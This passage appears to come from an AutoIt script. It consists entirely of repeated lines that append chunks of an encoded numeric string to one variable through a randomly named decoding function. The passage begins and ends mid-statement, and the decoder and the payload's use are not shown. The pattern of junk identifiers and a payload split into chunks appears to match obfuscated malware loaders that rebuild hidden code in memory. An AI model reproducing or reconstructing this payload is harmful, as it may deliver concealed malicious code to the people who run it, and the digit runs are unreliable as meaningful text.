("56,55,57,58,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,55,56,56,56,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,58,56,54,56,55,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,60,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,60,57,57,57,54,56,5,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,56,54,56,55,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,60,56,54,56,59,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,56,56,54,56,55,56,53,56,56,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,57,56,6,56,6,56,6,56,55,56,59,57,55,57,54,56,5,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,56,56,57,57,57,56,53,56,6,56,55,56,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,54,56,55,56,54,56,59,56,53,56,56,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,55,56,55,56,53,56,57,56,54,56,55,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,58,56,55,56,60,56,53,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,56,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,56,55,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,56,57,57,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,55,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,55,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,55,57,57,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,54,57,54,57,54,57,54,56,55,56,56,56,53,56,58,56,54,56,59,56,54,57,55,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,54,56,59,56,54,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,56,54,57,55,56,55,56,57,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,55,56,58,56,53,56,56,56,54,57,57,56,55,56,57,57,57,56,53,56,6,56,55,56,53,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,56,56,57,56,53,56,55,57,57,56,53" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,6,56,55,56,53,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,58,56,54,56,55,56,54,57,55,57,57,56,53,56,6,56,55,56,6,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,55,56,56,56,53,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,6,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,57,56,54,56,59,56,54,56,57,57,57,56,53,56,6,56,55,56,6,56,6,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,5,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,6,57,57,57,54,56,5,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,55,57,59,56,53,56,53,56,55,56,58,56,54,57,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,54,56,58,56,54,56,59,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,54,57,58,56,55,56,56,56,53,56,58,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,53,56,57,56,54,56,59,57,57,56,53,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,56,59,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,57,56,53,56,56,56,54,56,5,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,55,56,60,56,60,57,57,56,53,56,6,56,55,57,54,56,60,57,54,56,5,57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,56,53,57,57,56,53,56,6,56,55,57,54,56,56,57,54,56,5,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,56,56,55,56,60,56,53,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,56,5,57,54,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,56,57,57,56,53,56,6,56,55,57,54,57,57,57,54,56,5,57,54,57,54,57,54,57,54,56,53,56,55,56,53,56,58,56,54,56,55,56,56,56,59,57,57,56,53,56,6,56,55,56,60,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,56,56,54,56,56,56,53,56,58,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,60,56,54,57,54,57,59,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,56,56,57,57,56,54,56,56,56,53,56,58,56,56,57,57,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,54,56,59,56,54,56,56,56,56,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,57,58,57,59,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,55,56,53,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,56,56,53,56,60,56,6,56,6,56,6,56,55,56,53,56,54,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,56,56,58,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,6,56,56,56,59,56,60,56,60,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,56,55,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,5,56,53,56,57,56,55,56,53,56,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,57,56,54,56,57,56,56,56,55,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,58,56,54,57,54,56,54,56,57,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,54,56,53,56,58,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,55,56,55,56,54,56,54,56,5,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,53,56,58,56,53,56,56,56,53,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,57,56,56,57,56,56,54,56,55,56,54,57,56,57,57,56,53,56,6,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,59,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,58,56,53,56,5,56,60,56,60,57,57,56,53,56,6,56,55,56,56,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,54,57,57,57,57,56,53,56,6,56,55,56,56,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,57,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,54,56,57,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,57,54,57,54,56,53,56,60,56,53,56,5,56,6,56,6,56,6,56,55,56,53,57,55,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,59,57,54,57,54,57,54,57,54,56,55,56,55,56,53,56,57,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,57,56,6,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,59,57,54,57,54,57,54,57,54,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,57,57,57,56,53,56,6,56,55,57,57,57,57,57,54,57,59,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,57,56,53,56,57,56,60,56,60,57,57,56,53,56,6,56,55,56,59,57,57,57,54,57,54,57,54,57,54,57,54,57,54,56,53,56,53,56,54,56,57,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,58,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,56,56,54,56,58,56,53,56,57,56,6,56,6,56,6,56,55,56,58,56,56,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,56,55,56,5,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,55,56,59,56,53,56,55,57,57,56,53,56,6,56,55,56,5,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,53,56,58,56,53,56,5,56,55,56,57,57,57,56,53,56,6,56,55,56,5,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,57,56,53,56,56,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,56,5,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,54,56,54,57,55,56,6,56,6,56,6,56,55,56,5,57,55,57,54,57,57,57,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,57,56,54,56,6,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,57,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,53,56,54,56,5,56,54,57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,57,57,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,54,56,53,56,53,56,6,56,6,56,6,56,55,57,57,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,54,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,57,54,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,55,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,54,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,57,55,56,54,56,56,56,54,57,54,56,53,56,53,57,57,56,53,56,6,56,55,57,54,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,55,56,53,56,60,56,60,57,57,56,53,56,6,56,55,57,59,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,6,56,55,57,59,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,53,56,56,56,54,56,55,56,53,56,58,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,57,56,54,56,59,56,53,56,57,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,57,56,55,56,53,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,56,56,54,56,55,56,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,55,56,53,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,54,57,55,56,54,56,56,56,54,57,54,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,53,56,53,56,55,56,60,56,53,56,58,56,54,57,54,56,54,56,54,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,57,56,55,56,53,56,6,56,6,56,6,56,55,56,6,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,56,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,60" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,54,57,54,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,55,56,59,56,53,56,55,56,54,56,5,56,53,56,56,57,57,56,53,56,6,56,55,57,56,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,56,57,56,56,54,56,55,56,53,56,57,56,53,56,57,57,57,56,53,56,6,56,55,57,56,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,53,56,54,56,55,56,60,56,60,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,55,56,54,57,55,56,54,56,56,56,55,56,60,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,56,53,56,6,56,55,56,57,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,54,56,59,56,54,56,5,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,59,56,60,57,54,57,54,57,54,57,54,57,54,57,54,56,56,56,54,56,54,56,5,56,54,57,57,56,54,57,57,57,57,56,53,56,6,56,55,56,59,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,55,56,58,56,54,56,55,56,54,56,57,56,53,56,56,56,6,56,6,56,6,56,55,56,59,56,6,57,54,57,54,57,54,57,54,57,54,57,54,57,57,56,53,56,6" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,55,57,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,56,56,58,56,54,56,55,56,54,56,53,56,54,56,5,57,57,56,53,56,6,56,55,57,59,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,55,56,60,56,54,56,59,56,54,56,5,56,54,56,54,57,57,56,53,56,6,56,55,57,59,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,57,59,57,55,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,57,58,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54,56,56,56,5,56,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,57,57,56,53,56,6,56,55,57,58,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,5,56,53,56,56,56,54,56,5,56,54,56,59,57,57,56,53,56,6,56,55,57,58,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,57,56,54,56,5,56,53,57,59,56,54,56,55,56,54,56,54,57,57,56,53,56,6,56,55,57,58,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,56,56,55,56,53,56,6,56,6,56,6,56,6,56,55,57,58,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,6,56,56,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,57,56,54,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,6,56,6,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,6,57,57,57,54,57,58,57,54,57,54,57,54,57,54,56,56,56,5,56,54,57,55,56,53,56,57,56,53,56,56,57,57,56,53,56,6,56,55,56,5,56,60,57,54,57,58,57,54,57,54,57,54,57,54,56,54,56,59,56,54,57,55,56,54,56,57,56,54,56,55,56,6,56,6,56,6,56,55,56,5,56,56,57,54,57,58,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,56,60,57,54,57,55,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,54,56,55,57,57,56,56,57,58,56,54,57,55,56,54,57,54,57,57,56,53,56,6,56,55,56,55,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,53,56,53,56,54,57,55,56,56,56,56,56,54,57,57,57,57,56,53,56,6,56,55,56,55,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,53,56,57,56,57,56,57,56,57,56,58,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,55,57,54,57,54,57,54,57,54,56,55,57,57,56,56,57,54,56,54,57,57,56,54,56,55,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,57,56,57,56,57,56,58,56,58" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,55,56,54,56,56,56,54,56,54,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,54,57,57,56,54,57,57,56,6,56,6,56,6,56,55,56,54,56,54,57,54,57,55,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,60,56,56,57,54,57,54,57,54,57,54,57,54,57,54,56,56,57,54,56,54,57,57,56,54,56,55,56,57,56,57,57,57,56,53,56,6,56,55,56,60,56,6,57,54,57,54,57,54,57,54,57,54,57,54,56,57,56,58,56,58,57,55,56,54,56,56,56,54,57,57,56,54,56,54,57,57,56,53,56,6,56,55,56,60,57,57,57,54,57,54,57,54,57,54,57,54,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,56,54,57,57,56,60,56,60,57,57,56,53,56,6,56,55,56,53,56,60,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,56,57,56,53,56,58,57,57,56,53,56,6,56,55,56,53,56,56,57,54,57,57,57,54,57,54,57,54,57,54,56,54,56,55,56,54,56,59,56,53,56,56,56,54,56,55,57,57,56,53,56,6,56,55,56,53,56,6,57,54,57,57,57,54,57,54,57,54,57,54,56,56,57,56,56,53,56,55,56,53,56,56,56,54,56,59,56,54,56,54,57,57,56,53,56,6,56,55,56,53,57,57,57,54,57,57,57,54,57,54,57,54,57,54,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,57,55,57,54,57,57,57,54,57,54,57,54,57,54,57,57,56,53,56,6,56,55,56,55,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,56,57,55,56,53,56,56,56,56,57,54,56,53,56,60,57,57,56,53,56,6,56,55,56,54,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,55,56,54,57,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,54,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,59,56,54,57,55,56,53,56,56,56,6,56,6,56,6,56,55,56,54,56,6,57,54,57,56,57,54,57,54,57,54,57,54,57,57,56,53,56,56,56,55,57,57,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("54,57,58,56,54,56,55,56,53,56,58,56,54,57,55,57,57,56,53,56,56,56,55,57,57,56,6,56,54,56,55,56,54,57,57,56,57,56,57,56,57,56,58,56,6,56,6,56,56,56,55,57,56,56,60,56,6,56,6,56,56,56,55,57,59,56,56,56,6,56,6,56,6,56,55,56,57,57,57,57,54,57,56,57,54,57,54,57,54,57,54,56,54,56,56,57,59,56,59,56,57,56,60,56,60,56,60,56,60,56,60,56,60,56,60,57,57,56,53,56,56,56,55,57,57,57,57,56,58,57,55,56,54,56,56,56,54,57,57,56,54,57,57,57,57,56,53,56,56,56,55,56,5,56,6,56,56,57,58,56,56,56,55,56,55,56,58,56,56,57,55,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,53,56,56,56,55,56,5,57,57,56,56,56,55,56,56,57,57,56,57,56,57,56,57,56,58,57,57,56,53,56,56,56,55,57,59,56,60,56,58,57,55,56,56,56,56,56,56,57,57,56,56,57,57,57,57,56,53,56,6,56,55,56,57,56,60,57,54,57,56,57,54,57,54,57,54,57,54,56,56,56,57,56,53,56,58,56,54,56,55,56,54,56,59,57,57,56,53,56,6,56,55,56,57,56,56,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,56,57,56,56,53,56,55,57,57,56,53,56,6,56,55,56,57,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,53,56,56,56,54,56,55,56,53,56,6,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("53,56,6,57,58,56,56,56,60,56,60,57,57,56,6,57,58,56,56,56,60,56,59,56,56,56,6,57,58,56,60,56,60,56,6,57,58,56,55,56,6,56,59,56,60,56,6,57,56,56,56,56,55,57,56,56,56,56,55,56,60,57,55,56,6,56,58,57,55,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,60,56,6,57,56,56,56,56,55,57,58,56,6,56,55,56,60,57,55,56,6,56,58,56,57,57,55,57,57,57,54,57,54,57,54,57,54,56,6,57,58,57,54,56,6,56,6,57,56,56,56,56,55,57,57,56,56,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,56,56,55,57,57,56,56,56,55,56,60,56,6,57,56,56,6,56,55,57,59,57,57,57,55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,56,56,55,56,5,56,6,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,56,56,55,56,5,56,6,56,55,56,60,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,56,57,57,57,56,56,56,60,57,57,56,6,57,56,56,6,56,55,57,59,57,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("55,57,57,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,57,59,56,5,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,57,56,54,56,55,57,55,56,6,56,60,56,60,56,6,56,55,57,57,56,60,56,53,56,55,56,59,56,53,56,6,57,56,56,6,56,55,57,59,56,56,57,55,57,59,57,54,57,54,57,54,57,54,56,55,56,60,57,55,56,6,56,5,56,55,57,55,57,56,57,54,57,54,57,54,57,54,56,6,56,55,57,57,56,60,56,53,56,55,56,60,56,53,57,57,56,53,56,56,56,55,57,55,56,6,56,60,56,59,56,60,56,60,56,60,56,60,56,60,56,60,56,6,57,56,56,6,57,56,56,55,56,6,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,57,54,57,54,57,54,57,54,56,55,56,59,56,6,57,58,57,56,56,6,57,55,56,6,57,58,56,54,57,55,57,58,57,54,57,54,57,54,57,54,56,57,56,57,57,56,57,58,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,57,56,5,56,55,57,56,57,55,56,6,56,60,57,54,56,6,56,56,56,55,57,55,56,60,56,53,56,60,56,60,56,60,56,60,56,6,56,5,56,5,57,56,57,55,56,56,57,54,56,6,57,54,57,54,57,54,57,54,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,57,56,6,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,56,56,57,55,57,55,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,6,57,54,57,56,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,58,57,57" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,54,56,60,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,59,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,56,56,56,57,54,56,54,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,55,56,5,56,56,56,60,56,55,56,60,56,6,57,56,56,6,56,55,56,53,56,56,57,54,57,55,57,54,57,54,57,54,57,54,56,55,56,60,56,6,57,56,56,6,56,55,57,57,57,57,57,54,56,56,57,54,57,54,57,54,57,54,56,55,56,60,57,54,57,54,57,56,56,53,56,6,57,56,56,6,56,55,57,55,56,60,57,54,57,55,57,54,57,54,57,54,57,54,56,6,56,57,57,57,56,56,56,60,57,57,56,55,56,60,57,54,57,54,57,56,56,54,56,56,56,60,56,55,56,5,56,55,56,60,56,6,57,56,56,6,56,55,57,55,56,60,57,54" ) $LMASCGP &= BTBXJYMRFGAETPA 